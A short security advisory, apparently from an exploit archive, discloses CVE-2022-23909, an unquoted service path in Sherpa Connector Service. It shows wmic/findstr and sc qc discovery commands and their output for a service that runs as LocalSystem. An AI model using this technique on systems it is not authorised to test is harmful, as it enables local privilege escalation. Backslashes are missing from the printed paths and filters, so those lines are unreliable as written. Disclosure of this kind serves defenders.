Authored by Harshit, Manthan Chhabra

Sherpa Connector Service version 2020.2.20328.2050 suffers from an unquoted service path vulnerability.

advisories | CVE-2022-23909

# Exploit Title:  Sherpa Connector Service (v2020.2.20328.2050) - Unquoted Service Path
# Exploit Author: Manthan Chhabra (netsectuna), Harshit (fumenoid)
# Version: 2020.2.20328.2050
# Date: 02/04/2022
# Vendor Homepage: http://gimmal.com/
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10
# CVE: CVE-2022-23909


# Step to discover Unquoted Service Path:


C:>wmic service get name,displayname,pathname,startmode | findstr /i "sherpa" | findstr /i "auto" |findstr /i /v "c:windows" |findstr /i /v """

Sherpa Connector Service Sherpa Connector Service C:Program FilesSherpa SoftwareSherpa ConnectorSherpaConnectorService.exe Auto


C:>sc qc "Sherpa Connector Service"

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Sherpa Connector Service
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:Program FilesSherpa SoftwareSherpa ConnectorSherpaConnectorService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Sherpa Connector Service
DEPENDENCIES : wmiApSrv
SERVICE_START_NAME : LocalSystem